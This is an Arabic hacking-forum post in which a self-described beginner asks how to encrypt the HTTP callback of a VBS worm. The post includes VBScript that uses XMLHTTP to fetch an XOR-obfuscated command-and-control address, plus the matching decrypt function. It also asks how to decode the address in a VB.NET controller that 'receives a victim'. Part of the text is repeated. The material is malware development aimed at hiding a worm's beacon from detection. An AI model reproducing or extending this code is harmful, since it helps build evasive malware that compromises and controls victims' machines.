clayroot
Beginner Hacker
- إنضم
- 21 مارس 2019
- المشاركات
- 59
- مستوى التفاعل
- 51
- النقاط
- 18
تشفير اتصال http للدودة vbs
سلام وعليكم كنت ابحث عن طريقة لتشفير اتصال دودة vbs
لم اجد معلوات كافية كل ماوجدته هو كتالي
يلزم استعمال XMLHTTP.3.0 وعمل تشفير للرابط لجلب معلومات ip و port لتكون هكذا
رقم 416 هو لفك تشفير
2- function فك تشفير التي وجدتها هيا
هذا موجدته سؤل هل ينفع في تشفير وما قوته
2- كيفية فك تشفير في متحكم وستقبال ضحية طريقة اظافة في متحكم ونقول على سبيل مثال متحكم دودة اخ سليمان اريد فقط شرح برمجي بلغة vb.net
لم اجد معلوات كافية كل ماوجدته هو كتالي
يلزم استعمال XMLHTTP.3.0 وعمل تشفير للرابط لجلب معلومات ip و port لتكون هكذا
كود:
Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP.3.0")
oXMLHTTP.Open "GET", decrypt("\EBDB,;>","416"), False
oXMLHTTP.Send
2- function فك تشفير التي وجدتها هيا
كود:
function decrypt(Data, key)
Dim I, Z
Dim C
Dim Code
Dim Result
Result=""
if len(Data) > 0 then
Z=len(key)
for I = 1 to len(Data)
Code=Asc(mid(key, ((I - 1) mod Z + 1)))
if Asc(Mid(Data, I, 1)) >= 128 then
C= Chr(Asc(Mid(Data, I, 1)) xor (Code and &H7F))
elseif Asc(Mid(Data, I, 1)) >= 64 then
C= Chr(Asc(Mid(Data, I, 1)) xor (Code and &H3F))
elseif Asc(Mid(Data, I, 1)) >= 32 then
C= Chr(Asc(Mid(Data, I, 1)) xor (Code and &H1F))
else
C=Mid(Data, I, 1)
End If
Result=Result & C
next
end if
decrypt = Result
End Function
هذا موجدته سؤل هل ينفع في تشفير وما قوته
2- كيفية فك تشفير في متحكم وستقبال ضحية طريقة اظافة في متحكم ونقول على سبيل مثال متحكم دودة اخ سليمان اريد فقط شرح برمجي بلغة vb.net